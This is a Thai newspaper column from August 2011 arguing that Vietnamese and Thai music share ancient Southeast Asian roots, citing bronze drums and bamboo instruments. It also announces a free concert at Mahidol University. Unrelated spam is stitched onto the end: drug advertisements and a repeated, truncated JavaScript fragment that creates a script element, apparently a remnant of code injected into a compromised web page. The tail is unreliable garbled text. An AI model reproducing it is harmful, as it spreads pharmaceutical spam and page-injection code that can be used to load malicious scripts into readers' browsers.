มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 25 สิงหาคม 2554

         เวียดนามที่มองเห็นด้วยตา มีวัฒนธรรมจีนเป็นคราบเคลือบอยู่ภายนอก

เมื่อลอกคราบเคลือบออกไป ถึงจะเห็นเนื้อแท้เวียดนาม

ดนตรีเวียดนามประจำชาติก็มีคราบดนตรีจีนเคลือบอยู่ไม่น้อย เมื่อลอกคราบออกไปจะเห็นว่าดนตรีเวียดนามดึกดำบรรพ์เป็นอันหนึ่งอันเดียวกันกับดนตรีสุวรรณภูมิในอุษาคเนย์

โดยเฉพาะดนตรีเวียดนามกับดนตรีไทย เป็นเครือญาติวัฒนธรรมร่วมของดนตรีสุวรรณภูมิ

ดนตรีเวียดนามกับดนตรีไทย มีความเป็นมายาวนานร่วมกันอย่างแยกไม่ได้ อยู่ในอุษาคเนย์ราว 5,000 ปีมาแล้ว เป็น “เครือญาติ” วัฒนธรรมร่วมของดนตรีสุวรรณภูมิ บนผืนแผ่นดินใหญ่อุษาคเนย์

เช่นเดียวกับดินแดนและผู้คนในเวียดนามและไทยมีพัฒนาการเป็นอันหนึ่งอันเดียวกันกับดินแดนและผู้คนสุวรรณภูมิ รวมทั้งบรรพชนคนเวียดนามกับคนไทย นับเป็นส่วนหนึ่งอย่างแยกไม่ได้จากบรรพชนคนสุวรรณภูมิและประวัติศาสตร์สุวรรณภูมิ

เหตุที่ทุกวันนี้ต้องแยกกัน มาจากการล่าอาณานิคมของเจ้าอาณานิคมยุโรปเมื่อ 100 ปีที่แล้ว (ตรงกับแผ่นดินรัชกาลที่ 4, 5)

กระทั่งหลังสงครามโลกครั้งที่ 2 ราวหลัง พ.ศ. 2488 ทำให้เกิดเส้นกั้นอาณาเขตแบ่งแต่ละประเทศออกจากกัน แล้วตัดขาดความสัมพันธ์แบบเครือญาติที่เคยมีตั้งแต่หลายพันปีมาแล้ว แต่พื้นฐานทางสังคมวัฒนธรรมยังสืบเนื่องคล้ายคลึงกัน

         ดนตรีเวียดนามและดนตรีไทย มีพัฒนาการร่วมกันกับดนตรีสุวรรณภูมิ อยู่ในภูมิภาคอุษาคเนย์ราว 5,000 ปีมาแล้ว ไม่ได้มีกำเนิดจากอินเดียและจีน 

แต่สมัยหลังๆ รับเครื่องดนตรีศักดิ์สิทธิ์จากอินเดียและจีนเข้ามาประสมเพิ่มเติม

มโหระทึก ไม่มีในวัฒนธรรมจีน เป็นต้นตระกูลฆ้องมีแหล่งผลิตอยู่ในสุวรรณภูมิยุคดึกดำบรรพ์ราว 3,000 ปีมาแล้ว บริเวณต่อเนื่องที่ดงเซิน (ในเวียดนาม)

         5,000 ปีมาแล้ว “วัฒนธรรมไม้ไผ่” ใช้ทำเครื่องดนตรีแรกสุดของอุษาคเนย์ 

น่าอัศจรรย์อย่างยิ่งที่เครื่องดนตรีไม้ไผ่ซึ่งสืบเนื่องจากยุคแรกเริ่ม มีเหลือมากสุดอยู่ในเวียดนาม ยังใช้บรรเลงแพร่หลายถึงทุกวันนี้

ดนตรีเวียดนามจะแสดงให้ชมฟรีที่หอแสดงดนตรี วิทยาลัยดุริยางคศิลป์ มหาวิทยาลัยมหิดล ศาลายา

บ่ายวันนี้ พฤหัสบดี 25 สิงหาคม 2554 ตั้งแต่ 13.30 น.

แต่ผมไม่รู้ว่าทางการเวียดนามเอาเครื่องดนตรีไม้ไผ่มามากน้อยขนาดไหน?

 

 

ผู้คนชนเผ่าเหล่ากอดั้งเดิมดึกดำบรรพ์ของอุษาคเนย์เมื่อ 3,000 ปีมาแล้ว มีการละเล่นในพิธีกรรมเพื่อความอุดมสมบูรณ์ คือฟ้อนกับแคน แล้วขับลำคำคล้องจองเป็นทำนองง่ายๆ นุ่งผ้าปล่อยชายยาว 2 ข้าง ประดับขนนกหรือใบไม้ไว้บนหัว ประเพณีอย่างนี้ยังมีร่องรอยกระจายทั่วไปทั้งสองฝั่งโขงถึงลุ่มแม่น้ำเจ้าพระยา รูปนี้เป็นลายเส้นคัดลอกจากลายสลักบนขวานสัมฤทธิ์ พบที่เวียดนาม (ภาพและคำอธิบายได้จากหนังสือดนตรีไทย มาจากไหน? โดย สุจิตต์ วงษ์เทศ สำนักพิมพ์วิทยาลัยดุริยางคศิลป์ มหาวิทยาลัยมหิดล พิมพ์ครั้งแรก พ.ศ. 2553)

 

forzest 20 mg side effects buy azithromycin 500mg online var d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’);